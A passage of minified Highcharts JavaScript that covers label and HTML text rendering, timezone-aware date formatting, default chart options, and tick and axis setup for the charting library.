a=o[s];a.getAttribute(e)===n&&a.setAttribute(e,t)}i.setAttribute(e,t)}),t):this.html(t,e,i)},fontMetrics:function(t,e){return t=!this.styledMode&&/px/.test(t)||!I.getComputedStyle?t||e&&e.style&&e.style.fontSize||this.style&&this.style.fontSize:e&&z.prototype.getStyle.call(e,"font-size"),{h:e=24>(t=/px/.test(t)?u(t):12)?t+3:Math.round(1.2*t),b:Math.round(.8*e),f:t}},rotCorr:function(t,e,i){var s=t;return e&&i&&(s=Math.max(s*Math.cos(e*w),4)),{x:-t/3*Math.sin(e*w),y:s}},label:function(t,e,i,o,n,r,h,c,d){var p,u,f,g,m,v,x,y,b,w=this,k=w.styledMode,M=w.g("button"!==d&&"label"),S=M.text=w.text("",0,0,h).attr({zIndex:1}),T=0,C=3,E=0,O={},L=/^url\((.*?)\)$/.test(o),D=k||L,_=function(){return k?p.strokeWidth()%2/2:(y?parseInt(y,10):0)%2/2};d&&M.addClass("highcharts-"+d);var I=function(){var t=S.element.style,e={};u=(void 0===f||void 0===g||x)&&s(S.textStr)&&S.getBBox(),M.width=(f||u.width||0)+2*C+E,M.height=(g||u.height||0)+2*C,b=C+Math.min(w.fontMetrics(t&&t.fontSize,S).b,u?u.height:1/0),D&&(p||(M.box=p=w.symbols[o]||L?w.symbol(o):w.rect(),p.addClass(("button"===d?"":"highcharts-label-box")+(d?" highcharts-"+d+"-box":"")),p.add(M),t=_(),e.x=t,e.y=(c?-b:0)+t),e.width=Math.round(M.width),e.height=Math.round(M.height),p.attr(a(e,O)),O={})},B=function(){var t=E+C,e=c?0:b;s(f)&&u&&("center"===x||"right"===x)&&(t+={center:.5,right:1}[x]*(f-u.width)),t===S.x&&e===S.y||(S.attr("x",t),S.hasBoxWidthChanged&&(u=S.getBBox(!0),I()),void 0!==e&&S.attr("y",e)),S.x=t,S.y=e},R=function(t,e){p?p.attr(t,e):O[t]=e};M.onAdd=function(){S.add(M),M.attr({text:t||0===t?t:"",x:e,y:i}),p&&s(n)&&M.attr({anchorX:n,anchorY:r})},M.widthSetter=function(t){f=l(t)?t:null},M.heightSetter=function(t){g=t},M["text-alignSetter"]=function(t){x=t},M.paddingSetter=function(t){s(t)&&t!==C&&(C=M.padding=t,B())},M.paddingLeftSetter=function(t){s(t)&&t!==E&&(E=t,B())},M.alignSetter=function(t){(t={left:0,center:.5,right:1}[t])!==T&&(T=t,u&&M.attr({x:m}))},M.textSetter=function(t){void 0!==t&&S.attr({text:t}),I(),B()},M["stroke-widthSetter"]=function(t,e){t&&(D=!0),y=this["stroke-width"]=t,R(e,t)},k?M.rSetter=function(t,e){R(e,t)}:M.strokeSetter=M.fillSetter=M.rSetter=function(t,e){"r"!==e&&("fill"===e&&t&&(D=!0),M[e]=t),R(e,t)},M.anchorXSetter=function(t,e){n=M.anchorX=t,R(e,Math.round(t)-_()-m)},M.anchorYSetter=function(t,e){r=M.anchorY=t,R(e,t-v)},M.xSetter=function(t){M.x=t,T&&(t-=T*((f||u.width)+2*C),M["forceAnimate:x"]=!0),m=Math.round(t),M.attr("translateX",m)},M.ySetter=function(t){v=M.y=Math.round(t),M.attr("translateY",v)};var j=M.css;return h={css:function(t){if(t){var e={};t=A(t),M.textProps.forEach((function(i){void 0!==t[i]&&(e[i]=t[i],delete t[i])})),S.css(e),"width"in e&&I(),"fontSize"in e&&(I(),B())}return j.call(M,t)},getBBox:function(){return{width:u.width+2*C,height:u.height+2*C,x:u.x-C,y:u.y-C}},destroy:function(){P(M.element,"mouseenter"),P(M.element,"mouseleave"),S&&(S=S.destroy()),p&&(p=p.destroy()),z.prototype.destroy.call(M),M=w=I=B=R=null}},k||(h.shadow=function(t){return t&&(I(),p&&p.shadow(t)),M}),a(M,h)}}),t.Renderer=e})),e(i,"parts/Html.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.attr,s=e.defined,o=e.extend,n=e.pick,a=e.pInt,r=t.createElement,l=t.css,h=t.isFirefox,c=t.isMS,d=t.isWebKit,p=t.SVGElement;e=t.SVGRenderer;var u=t.win;o(p.prototype,{htmlCss:function(t){var e="SPAN"===this.element.tagName&&t&&"width"in t,i=n(e&&t.width,void 0);if(e){delete t.width,this.textWidth=i;var s=!0}return t&&"ellipsis"===t.textOverflow&&(t.whiteSpace="nowrap",t.overflow="hidden"),this.styles=o(this.styles,t),l(this.element,t),s&&this.htmlUpdateTransform(),this},htmlGetBBox:function(){var t=this.element;return{x:t.offsetLeft,y:t.offsetTop,width:t.offsetWidth,height:t.offsetHeight}},htmlUpdateTransform:function(){if(this.added){var t=this.renderer,e=this.element,i=this.translateX||0,o=this.translateY||0,n=this.x||0,r=this.y||0,h=this.textAlign||"left",c={left:0,center:.5,right:1}[h],d=this.styles,p=d&&d.whiteSpace;if(l(e,{marginLeft:i,marginTop:o}),!t.styledMode&&this.shadows&&this.shadows.forEach((function(t){l(t,{marginLeft:i+1,marginTop:o+1})})),this.inverted&&[].forEach.call(e.childNodes,(function(i){t.invertChild(i,e)})),"SPAN"===e.tagName){d=this.rotation;var u,f=this.textWidth&&a(this.textWidth),g=[d,h,e.innerHTML,this.textWidth,this.textAlign].join();(u=f!==this.oldTextWidth)&&!(u=f>this.oldTextWidth)&&((u=this.textPxLength)||(l(e,{width:"",whiteSpace:p||"nowrap"}),u=e.offsetWidth),u=u>f),u&&(/[ \-]/.test(e.textContent||e.innerText)||"ellipsis"===e.style.textOverflow)?(l(e,{width:f+"px",display:"block",whiteSpace:p||"normal"}),this.oldTextWidth=f,this.hasBoxWidthChanged=!0):this.hasBoxWidthChanged=!1,g!==this.cTT&&(p=t.fontMetrics(e.style.fontSize,e).b,!s(d)||d===(this.oldRotation||0)&&h===this.oldAlign||this.setSpanRotation(d,c,p),this.getSpanCorrection(!s(d)&&this.textPxLength||e.offsetWidth,p,c,d,h)),l(e,{left:n+(this.xCorr||0)+"px",top:r+(this.yCorr||0)+"px"}),this.cTT=g,this.oldRotation=d,this.oldAlign=h}}else this.alignOnAdd=!0},setSpanRotation:function(t,e,i){var s={},o=this.renderer.getTransformKey();s[o]=s.transform="rotate("+t+"deg)",s[o+(h?"Origin":"-origin")]=s.transformOrigin=100*e+"% "+i+"px",l(this.element,s)},getSpanCorrection:function(t,e,i){this.xCorr=-t*i,this.yCorr=-e}}),o(e.prototype,{getTransformKey:function(){return c&&!/Edge/.test(u.navigator.userAgent)?"-ms-transform":d?"-webkit-transform":h?"MozTransform":u.opera?"-o-transform":""},html:function(t,e,s){var a=this.createElement("span"),l=a.element,h=a.renderer,c=h.isSVG,d=function(t,e){["opacity","visibility"].forEach((function(i){t[i+"Setter"]=function(s,o,n){var a=t.div?t.div.style:e;p.prototype[i+"Setter"].call(this,s,o,n),a&&(a[o]=s)}})),t.addedSetters=!0};return a.textSetter=function(t){t!==l.innerHTML&&(delete this.bBox,delete this.oldTextWidth),this.textStr=t,l.innerHTML=n(t,""),a.doTransform=!0},c&&d(a,a.element.style),a.xSetter=a.ySetter=a.alignSetter=a.rotationSetter=function(t,e){"align"===e&&(e="textAlign"),a[e]=t,a.doTransform=!0},a.afterSetters=function(){this.doTransform&&(this.htmlUpdateTransform(),this.doTransform=!1)},a.attr({text:t,x:Math.round(e),y:Math.round(s)}).css({position:"absolute"}),h.styledMode||a.css({fontFamily:this.style.fontFamily,fontSize:this.style.fontSize}),l.style.whiteSpace="nowrap",a.css=a.htmlCss,c&&(a.add=function(t){var e=h.box.parentNode,s=[];if(this.parentGroup=t){var n=t.div;if(!n){for(;t;)s.push(t),t=t.parentGroup;s.reverse().forEach((function(t){function l(e,i){t[i]=e,"translateX"===i?c.left=e+"px":c.top=e+"px",t.doTransform=!0}var h=i(t.element,"class"),c=(n=t.div=t.div||r("div",h?{className:h}:void 0,{position:"absolute",left:(t.translateX||0)+"px",top:(t.translateY||0)+"px",display:t.display,opacity:t.opacity,pointerEvents:t.styles&&t.styles.pointerEvents},n||e)).style;o(t,{classSetter:function(t){return function(e){this.element.setAttribute("class",e),t.className=e}}(n),on:function(){return s[0].div&&a.on.apply({element:s[0].div},arguments),t},translateXSetter:l,translateYSetter:l}),t.addedSetters||d(t)}))}}else n=e;return n.appendChild(l),a.added=!0,a.alignOnAdd&&a.htmlUpdateTransform(),a}),a}})})),e(i,"parts/Time.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.extend,o=e.isObject,n=e.objectEach,a=e.pick,r=e.splat,l=t.merge,h=t.timeUnits,c=t.win;t.Time=function(t){this.update(t,!1)},t.Time.prototype={defaultOptions:{Date:void 0,getTimezoneOffset:void 0,timezone:void 0,timezoneOffset:0,useUTC:!0},update:function(t){var e=a(t&&t.useUTC,!0),i=this;this.options=t=l(!0,this.options||{},t),this.Date=t.Date||c.Date||Date,this.timezoneOffset=(this.useUTC=e)&&t.timezoneOffset,this.getTimezoneOffset=this.timezoneOffsetFunction(),(this.variableTimezone=!(e&&!t.getTimezoneOffset&&!t.timezone))||this.timezoneOffset?(this.get=function(t,e){var s=e.getTime(),o=s-i.getTimezoneOffset(e);return e.setTime(o),t=e["getUTC"+t](),e.setTime(s),t},this.set=function(t,e,s){if("Milliseconds"===t||"Seconds"===t||"Minutes"===t&&0==e.getTimezoneOffset()%60)e["set"+t](s);else{var o=i.getTimezoneOffset(e);o=e.getTime()-o,e.setTime(o),e["setUTC"+t](s),t=i.getTimezoneOffset(e),o=e.getTime()+t,e.setTime(o)}}):e?(this.get=function(t,e){return e["getUTC"+t]()},this.set=function(t,e,i){return e["setUTC"+t](i)}):(this.get=function(t,e){return e["get"+t]()},this.set=function(t,e,i){return e["set"+t](i)})},makeTime:function(e,i,s,o,n,r){if(this.useUTC){var l=this.Date.UTC.apply(0,arguments),h=this.getTimezoneOffset(l);l+=h;var c=this.getTimezoneOffset(l);h!==c?l+=c-h:h-36e5!==this.getTimezoneOffset(l-36e5)||t.isSafari||(l-=36e5)}else l=new this.Date(e,i,a(s,1),a(o,0),a(n,0),a(r,0)).getTime();return l},timezoneOffsetFunction:function(){var e=this,i=this.options,s=c.moment;if(!this.useUTC)return function(t){return 6e4*new Date(t).getTimezoneOffset()};if(i.timezone){if(s)return function(t){return 6e4*-s.tz(t,i.timezone).utcOffset()};t.error(25)}return this.useUTC&&i.getTimezoneOffset?function(t){return 6e4*i.getTimezoneOffset(t)}:function(){return 6e4*(e.timezoneOffset||0)}},dateFormat:function(e,o,r){if(!i(o)||isNaN(o))return t.defaultOptions.lang.invalidDate||"";e=a(e,"%Y-%m-%d %H:%M:%S");var l=this,h=new this.Date(o),c=this.get("Hours",h),d=this.get("Day",h),p=this.get("Date",h),u=this.get("Month",h),f=this.get("FullYear",h),g=t.defaultOptions.lang,m=g.weekdays,v=g.shortWeekdays,x=t.pad;return h=s({a:v?v[d]:m[d].substr(0,3),A:m[d],d:x(p),e:x(p,2," "),w:d,b:g.shortMonths[u],B:g.months[u],m:x(u+1),o:u+1,y:f.toString().substr(2,2),Y:f,H:x(c),k:c,I:x(c%12||12),l:c%12||12,M:x(l.get("Minutes",h)),p:12>c?"AM":"PM",P:12>c?"am":"pm",S:x(h.getSeconds()),L:x(Math.floor(o%1e3),3)},t.dateFormats),n(h,(function(t,i){for(;-1!==e.indexOf("%"+i);)e=e.replace("%"+i,"function"==typeof t?t.call(l,o):t)})),r?e.substr(0,1).toUpperCase()+e.substr(1):e},resolveDTLFormat:function(t){return o(t,!0)?t:{main:(t=r(t))[0],from:t[1],to:t[2]}},getTimeTicks:function(t,e,o,n){var r,l=this,c=[],d={},p=new l.Date(e),u=t.unitRange,f=t.count||1;if(n=a(n,1),i(e)){if(l.set("Milliseconds",p,u>=h.second?0:f*Math.floor(l.get("Milliseconds",p)/f)),u>=h.second&&l.set("Seconds",p,u>=h.minute?0:f*Math.floor(l.get("Seconds",p)/f)),u>=h.minute&&l.set("Minutes",p,u>=h.hour?0:f*Math.floor(l.get("Minutes",p)/f)),u>=h.hour&&l.set("Hours",p,u>=h.day?0:f*Math.floor(l.get("Hours",p)/f)),u>=h.day&&l.set("Date",p,u>=h.month?1:Math.max(1,f*Math.floor(l.get("Date",p)/f))),u>=h.month){l.set("Month",p,u>=h.year?0:f*Math.floor(l.get("Month",p)/f));var g=l.get("FullYear",p)}u>=h.year&&l.set("FullYear",p,g-g%f),u===h.week&&(g=l.get("Day",p),l.set("Date",p,l.get("Date",p)-g+n+(g<n?-7:0))),g=l.get("FullYear",p),n=l.get("Month",p);var m=l.get("Date",p),v=l.get("Hours",p);for(e=p.getTime(),l.variableTimezone&&(r=o-e>4*h.month||l.getTimezoneOffset(e)!==l.getTimezoneOffset(o)),e=p.getTime(),p=1;e<o;)c.push(e),e=u===h.year?l.makeTime(g+p*f,0):u===h.month?l.makeTime(g,n+p*f):!r||u!==h.day&&u!==h.week?r&&u===h.hour&&1<f?l.makeTime(g,n,m,v+p*f):e+u*f:l.makeTime(g,n,m+p*f*(u===h.day?1:7)),p++;c.push(e),u<=h.hour&&1e4>c.length&&c.forEach((function(t){0==t%18e5&&"000000000"===l.dateFormat("%H%M%S%L",t)&&(d[t]="day")}))}return c.info=s(t,{higherRanks:d,totalRange:u*f}),c}}})),e(i,"parts/Options.js",[i["parts/Globals.js"]],(function(t){var e=t.color,i=t.merge;t.defaultOptions={colors:"#7cb5ec #434348 #90ed7d #f7a35c #8085e9 #f15c80 #e4d354 #2b908f #f45b5b #91e8e1".split(" "),symbols:["circle","diamond","square","triangle","triangle-down"],lang:{loading:"Loading...",months:"January February March April May June July August September October November December".split(" "),shortMonths:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),weekdays:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),decimalPoint:".",numericSymbols:"kMGTPE".split(""),resetZoom:"Reset zoom",resetZoomTitle:"Reset zoom level 1:1",thousandsSep:" "},global:{},time:t.Time.prototype.defaultOptions,chart:{styledMode:!1,borderRadius:0,colorCount:10,defaultSeriesType:"line",ignoreHiddenSeries:!0,spacing:[10,10,15,10],resetZoomButton:{theme:{zIndex:6},position:{align:"right",x:-10,y:10}},width:null,height:null,borderColor:"#335cad",backgroundColor:"#ffffff",plotBorderColor:"#cccccc"},title:{text:"Chart title",align:"center",margin:15,widthAdjust:-44},subtitle:{text:"",align:"center",widthAdjust:-44},caption:{margin:15,text:"",align:"left",verticalAlign:"bottom"},plotOptions:{},labels:{style:{position:"absolute",color:"#333333"}},legend:{enabled:!0,align:"center",alignColumns:!0,layout:"horizontal",labelFormatter:function(){return this.name},borderColor:"#999999",borderRadius:0,navigation:{activeColor:"#003399",inactiveColor:"#cccccc"},itemStyle:{color:"#333333",cursor:"pointer",fontSize:"12px",fontWeight:"bold",textOverflow:"ellipsis"},itemHoverStyle:{color:"#000000"},itemHiddenStyle:{color:"#cccccc"},shadow:!1,itemCheckboxStyle:{position:"absolute",width:"13px",height:"13px"},squareSymbol:!0,symbolPadding:5,verticalAlign:"bottom",x:0,y:0,title:{style:{fontWeight:"bold"}}},loading:{labelStyle:{fontWeight:"bold",position:"relative",top:"45%"},style:{position:"absolute",backgroundColor:"#ffffff",opacity:.5,textAlign:"center"}},tooltip:{enabled:!0,animation:t.svg,borderRadius:3,dateTimeLabelFormats:{millisecond:"%A, %b %e, %H:%M:%S.%L",second:"%A, %b %e, %H:%M:%S",minute:"%A, %b %e, %H:%M",hour:"%A, %b %e, %H:%M",day:"%A, %b %e, %Y",week:"Week from %A, %b %e, %Y",month:"%B %Y",year:"%Y"},footerFormat:"",padding:8,snap:t.isTouchDevice?25:10,headerFormat:'<span style="font-size: 10px">{point.key}</span><br/>',pointFormat:'<span style="color:{point.color}">●</span> {series.name}: <b>{point.y}</b><br/>',backgroundColor:e("#f7f7f7").setOpacity(.85).get(),borderWidth:1,shadow:!0,style:{color:"#333333",cursor:"default",fontSize:"12px",pointerEvents:"none",whiteSpace:"nowrap"}},credits:{enabled:!0,href:"https://www.highcharts.com?credits",position:{align:"right",x:-10,verticalAlign:"bottom",y:-5},style:{cursor:"pointer",color:"#999999",fontSize:"9px"},text:"Highcharts.com"}},t.setOptions=function(e){return t.defaultOptions=i(!0,t.defaultOptions,e),(e.time||e.global)&&t.time.update(i(t.defaultOptions.global,t.defaultOptions.time,e.global,e.time)),t.defaultOptions},t.getOptions=function(){return t.defaultOptions},t.defaultPlotOptions=t.defaultOptions.plotOptions,t.time=new t.Time(i(t.defaultOptions.global,t.defaultOptions.time)),t.dateFormat=function(e,i,s){return t.time.dateFormat(e,i,s)}})),e(i,"parts/Tick.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.destroyObjectProperties,o=e.extend,n=e.isNumber,a=e.pick,r=t.correctFloat,l=t.fireEvent,h=t.merge,c=t.deg2rad;t.Tick=function(t,e,i,s,o){this.axis=t,this.pos=e,this.type=i||"",this.isNewLabel=this.isNew=!0,this.parameters=o||{},this.tickmarkOffset=this.parameters.tickmarkOffset,this.options=this.parameters.options,i||s||this.addLabel()},t.Tick.prototype={addLabel:function(){var t=this,e=t.axis,s=e.options,n=e.chart,l=e.categories,c=e.names,d=t.pos,p=a(t.options&&t.options.labels,s.labels),u=e.tickPositions,f=d===u[0],g=d===u[u.length-1];l=this.parameters.category||(l?a(l[d],c[d],d):d);var m,v,x=t.label;if(u=u.info,e.isDatetimeAxis&&u)var y=n.time.resolveDTLFormat(s.dateTimeLabelFormats[!s.grid&&u.higherRanks[d]||u.unitName]),b=y.main;t.isFirst=f,t.isLast=g,t.formatCtx={axis:e,chart:n,isFirst:f,isLast:g,dateTimeLabelFormat:b,tickPositionInfo:u,value:e.isLog?r(e.lin2log(l)):l,pos:d},s=e.labelFormatter.call(t.formatCtx,this.formatCtx),(v=y&&y.list)&&(t.shortenLabel=function(){for(m=0;m<v.length;m++)if(x.attr({text:e.labelFormatter.call(o(t.formatCtx,{dateTimeLabelFormat:v[m]}))}),x.getBBox().width<e.getSlotWidth(t)-2*a(p.padding,5))return;x.attr({text:""})}),i(x)?x&&x.textStr!==s&&(!x.textWidth||p.style&&p.style.width||x.styles.width||x.css({width:null}),x.attr({text:s}),x.textPxLength=x.getBBox().width):((t.label=x=i(s)&&p.enabled?n.renderer.text(s,0,0,p.useHTML).add(e.labelGroup):null)&&(n.styledMode||x.css(h(p.style)),x.textPxLength=x.getBBox().width),t.rotation=0)},getLabelSize:function(){return this.label?this.label.getBBox()[this.axis.horiz?"height":"width"]:0},handleOverflow:function(t){var e=this.axis,i=e.options.labels,s=t.x,o=e.chart.chartWidth,n=e.chart.spacing,r=a(e.labelLeft,Math.min(e.pos,n[3]));n=a(e.labelRight,Math.max(e.isRadial?0:e.pos+e.len,o-n[1]));var l,h=this.label,d=this.rotation,p={left:0,center:.5,right:1}[e.labelAlign||h.attr("align")],u=h.getBBox().width,f=e.getSlotWidth(this),g=f,m=1,v={};d||"justify"!==a(i.overflow,"justify")?0>d&&s-p*u<r?l=Math.round(s/Math.cos(d*c)-r):0<d&&s+p*u>n&&(l=Math.round((o-s)/Math.cos(d*c))):(o=s+(1-p)*u,s-p*u<r?g=t.x+g*(1-p)-r:o>n&&(g=n-t.x+g*p,m=-1),(g=Math.min(f,g))<f&&"center"===e.labelAlign&&(t.x+=m*(f-g-p*(f-Math.min(u,g)))),(u>g||e.autoRotation&&(h.styles||{}).width)&&(l=g)),l&&(this.shortenLabel?this.shortenLabel():(v.width=Math.floor(l),(i.style||{}).textOverflow||(v.textOverflow="ellipsis"),h.css(v)))},getPosition:function(e,i,s,o){var n=this.axis,a=n.chart,r=o&&a.oldChartHeight||a.chartHeight;return(e={x:e?t.correctFloat(n.translate(i+s,null,null,o)+n.transB):n.left+n.offset+(n.opposite?(o&&a.oldChartWidth||a.chartWidth)-n.right-n.left:0),y:e?r-n.bottom+n.offset-(n.opposite?n.height:0):t.correctFloat(r-n.translate(i+s,null,null,o)-n.transB)}).y=Math.max(Math.min(e.y,1e5),-1e5),l(this,"afterGetPosition",{pos:e}),e},getLabelPosition:function(t,e,s,o,n,a,r,h){var d=this.axis,p=d.transA,u=d.isLinked&&d.linkedParent?d.linkedParent.reversed:d.reversed,f=d.staggerLines,g=d.tickRotCorr||{x:0,y:0},m=n.y,v=o||d.reserveSpaceDefault?0:-d.labelOffset*("center"===d.labelAlign?.5:1),x={};return i(m)||(m=0===d.side?s.rotation?-8:-s.getBBox().height:2===d.side?g.y+8:Math.cos(s.rotation*c)*(g.y-s.getBBox(!1,0).height/2)),t=t+n.x+v+g.x-(a&&o?a*p*(u?-1:1):0),e=e+m-(a&&!o?a*p*(u?1:-1):0),f&&(s=r/(h||1)%f,d.opposite&&(s=f-s-1),e+=d.labelOffset/f*s),x.x=t,x.y=Math.round(e),l(this,"afterGetLabelPosition",{pos:x,tickmarkOffset:a,index:r}),x},getMarkPath:function(t,e,i,s,o,n){return n.crispLine(["M",t,e,"L",t+(o?0:-i),e+(o?i:0)],s)},renderGridLine:function(t,e,i){var s=this.axis,o=s.options,n=this.gridLine,r={},l=this.pos,h=this.type,c=a(this.tickmarkOffset,s.tickmarkOffset),d=s.chart.renderer,p=h?h+"Grid":"grid",u=o[p+"LineWidth"],f=o[p+"LineColor"];o=o[p+"LineDashStyle"],n||(s.chart.styledMode||(r.stroke=f,r["stroke-width"]=u,o&&(r.dashstyle=o)),h||(r.zIndex=1),t&&(e=0),this.gridLine=n=d.path().attr(r).addClass("highcharts-"+(h?h+"-":"")+"grid-line").add(s.gridGroup)),n&&(i=s.getPlotLinePath({value:l+c,lineWidth:n.strokeWidth()*i,force:"pass",old:t}))&&n[t||this.isNew?"attr":"animate"]({d:i,opacity:e})},renderMark:function(t,e,i){var s=this.axis,o=s.options,n=s.chart.renderer,r=this.type,l=r?r+"Tick":"tick",h=s.tickSize(l),c=this.mark,d=!c,p=t.x;t=t.y;var u=a(o[l+"Width"],!r&&s.isXAxis?1:0);o=o[l+"Color"],h&&(s.opposite&&(h[0]=-h[0]),d&&(this.mark=c=n.path().addClass("highcharts-"+(r?r+"-":"")+"tick").add(s.axisGroup),s.chart.styledMode||c.attr({stroke:o,"stroke-width":u})),c[d?"attr":"animate"]({d:this.getMarkPath(p,t,h[0],c.strokeWidth()*i,s.horiz,n),opacity:e}))},renderLabel:function(t,e,i,s){var o=this.axis,r=o.horiz,l=o.options,h=this.label,c=l.labels,d=c.step;o=a(this.tickmarkOffset,o.tickmarkOffset);var p=!0,u=t.x;t=t.y,h&&n(u)&&(h.xy=t=this.getLabelPosition(u,t,h,r,c,o,s,d),this.isFirst&&!this.isLast&&!a(l.showFirstLabel,1)||this.isLast&&!this.isFirst&&!a(l.showLastLabel,1)?p=!1:!r||c.step||c.rotation||e||0===i||this.handleOverflow(t),d&&s%d&&(p=!1),p&&n(t.y)?(t.opacity=i,h[this.isNewLabel?"attr":"animate"](t),this.isNewLabel=!1):(h.attr("y",-9999),this.isNewLabel=!0))},render:function(e,i,s){var o=this.axis,n=o.horiz,r=this.pos,l=a(this.tickmarkOffset,o.tickmarkOffset);l=(r=this.getPosition(n,r,l,i)).x;var h=r.y;o=n&&l===o.pos+o.len||!n&&h===o.pos?-1:1,s=a(s,1),this.isActive=!0,this.renderGridLine(i,s,o),this.renderMark(r,s,o),this.renderLabel(r,i,s,e),this.isNew=!1,t.fireEvent(this,"afterRender")},destroy:function(){s(this,this.axis)}}})),e(i,"parts/Axis.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.arrayMax,s=e.arrayMin,o=e.defined,n=e.destroyObjectProperties,a=e.extend,r=e.isArray,l=e.isNumber,h=e.isString,c=e.objectEach,d=e.pick,p=e.splat,u=e.syncTimeout,f=t.addEvent,g=t.animObject,m=t.color,v=t.correctFloat,x=t.defaultOptions,y=t.deg2rad,b=t.fireEvent,w=t.format,k=t.getMagnitude,M=t.merge,S=t.normalizeTickInterval,T=t.removeEvent,C=t.seriesTypes,A=t.Tick;return a((e=function(){this.init.apply(this,arguments)}).prototype,{defaultOptions:{dateTimeLabelFormats:{millisecond:{main:"%H:%M:%S.%L",range:!1},second:{main:"%H:%M:%S",range:!1},minute:{main:"%H:%M",range:!1},hour:{main:"%H:%M",range:!1},day:{main:"%e. %b"},week:{main:"%e. %b"},month:{main:"%b '%y"},year:{main:"%Y"}},endOnTick:!1,labels:{enabled:!0,indentation:10,x:0,style:{color:"#666666",cursor:"default",fontSize:"11px"}},maxPadding:.01,minorTickLength:2,minorTickPosition:"outside",minPadding:.01,showEmpty:!0,startOfWeek:1,startOnTick:!1,tickLength:10,tickPixelInterval:100,tickmarkPlacement:"between",tickPosition:"outside",title:{align:"middle",style:{color:"#666666"}},type:"linear",minorGridLineColor:"#f2f2f2",minorGridLineWidth:1,minorTickColor:"#999999",lineColor:"#ccd6eb",lineWidth:1,gridLineColor:"#e6e6e6",tickColor:"#ccd6eb"},defaultYAxisOptions:{endOnTick:!0,maxPadding:.05,minPadding:.05,tickPixelInterval:72,showLastLabel:!0,labels:{x:-8},startOnTick:!0,title:{rotation:270,text:"Values"},stackLabels:{allowOverlap:!1,enabled:!1,crop:!0,overflow:"justify",formatter:function(){return t.numberFormat(this.total,-1)},style:{color:"#000000",fontSize:"11px",fontWeight:"bold",textOutline:"1px contrast"}},gridLineWidth:1,lineWidth:0},defaultLeftAxisOptions:{labels:{x:-15},title:{rotation:270}},defaultRightAxisOptions:{labels:{x:15},title:{rotation:90}},defaultBottomAxisOptions:{labels:{autoRotation:[-45],x:0},margin:15,title:{rotation:0}},defaultTopAxisOptions:{labels:{autoRotation:[-45],x:0},margin:15,title:{rotation:0}},init:function(e,i){var s=i.isX,n=this;n.chart=e,n.horiz=e.inverted&&!n.isZAxis?!s:s,n.isXAxis=s,n.coll=n.coll||(s?"xAxis":"yAxis"),b(this,"init",{userOptions:i}),n.opposite=i.opposite,n.side=i.side||(n.horiz?n.opposite?0:2:n.opposite?1:3),n.setOptions(i);var a=this.options,r=a.type;n.labelFormatter=a.labels.formatter||n.defaultLabelFormatter,n.userOptions=i,n.minPixelPadding=0,n.reversed=a.reversed,n.visible=!1!==a.visible,n.zoomEnabled=!1!==a.zoomEnabled,n.hasNames="category"===r||!0===a.categories,n.categories=a.categories||n.hasNames,n.names||(n.names=[],n.names.keys={}),n.plotLinesAndBandsGroups={},n.isLog="logarithmic"===r,n.isDatetimeAxis="datetime"===r,n.positiveValuesOnly=n.isLog&&!n.allowNegativeLog,n.isLinked=o(a.linkedTo),n.ticks={},n.labelEdge=[],n.minorTicks={},n.plotLinesAndBands=[],n.alternateBands={},n.len=0,n.minRange=n.userMinRange=a.minRange||a.maxZoom,n.range=a.range,n.offset=a.offset||0,n.stacks={},n.oldStacks={},n.stacksTouched=0,n.max=null,n.min=null,n.crosshair=d(a.crosshair,p(e.options.tooltip.crosshairs)[s?0:1],!1),i=n.options.events,-1===e.axes.indexOf(n)&&(s?e.axes.splice(e.xAxis.length,0,n):e.axes.push(n),e[n.coll].push(n)),n.series=n.series||[],e.inverted&&!n.isZAxis&&s&&void 0===n.reversed&&(n.reversed=!0),c(i,(function(e,i){t.isFunction(e)&&f(n,i,e)})),n.lin2log=a.linearToLogConverter||n.lin2log,n.isLog&&(n.val2lin=n.log2lin,n.lin2val=n.lin2log),b(this,"afterInit")},setOptions:function(t){this.options=M(this.defaultOptions,"yAxis"===this.coll&&this.defaultYAxisOptions,[this.defaultTopAxisOptions,this.defaultRightAxisOptions,this.defaultBottomAxisOptions,this.defaultLeftAxisOptions][this.side],M(x[this.coll],t)),b(this,"afterSetOptions",{userOptions:t})},defaultLabelFormatter:function(){var e=this.axis,i=this.value,s=e.chart.time,o=e.categories,n=this.dateTimeLabelFormat,a=x.lang,r=a.numericSymbols;a=a.numericSymbolMagnitude||1e3;var l=r&&r.length,h=e.options.labels.format;if(e=e.isLog?Math.abs(i):e.tickInterval,h)var c=w(h,this,s);else if(o)c=i;else if(n)c=s.dateFormat(n,i);else if(l&&1e3<=e)for(;l--&&void 0===c;)e>=(s=Math.pow(a,l+1))&&0==10*i%s&&null!==r[l]&&0!==i&&(c=t.numberFormat(i/s,-1)+r[l]);return void 0===c&&(c=1e4<=Math.abs(i)?t.numberFormat(i,-1):t.numberFormat(i,-1,void 0,"")),c},getSeriesExtremes:function(){var t,e=this,i=e.chart;b(this,"getSeriesExtremes",null,(function(){e.hasVisibleSeries=!1,e.dataMin=e.dataMax=e.threshold=null,e.softThreshold=!e.isXAxis,e.buildStacks&&e.buildStacks(),e.series.forEach((function(s){if(s.visible||!i.options.chart.ignoreHiddenSeries){var n=s.options,a=n.threshold;if(e.hasVisibleSeries=!0,e.positiveValuesOnly&&0>=a&&(a=null),e.isXAxis){if((n=s.xData).length){var r=(t=s.getXExtremes(n)).min,h=t.max;l(r)||r instanceof Date||(n=n.filter(l),r=(t=s.getXExtremes(n)).min,h=t.max),n.length&&(e.dataMin=Math.min(d(e.dataMin,r),r),e.dataMax=Math.max(d(e.dataMax,h),h))}}else s.getExtremes(),h=s.dataMax,r=s.dataMin,o(r)&&o(h)&&(e.dataMin=Math.min(d(e.dataMin,r),r),e.dataMax=Math.max(d(e.dataMax,h),h)),o(a)&&(e.threshold=a),(!n.softThreshold||e.positiveValuesOnly)&&(e.softThreshold=!1)}}))})),b(this,"afterGetSeriesExtremes")},translate:function(t,e,i,s,o,n){var a=this.linkedParent||this,r=1,h=0,c=s?a.oldTransA:a.transA;s=s?a.oldMin:a.min;var d=a.minPixelPadding;return 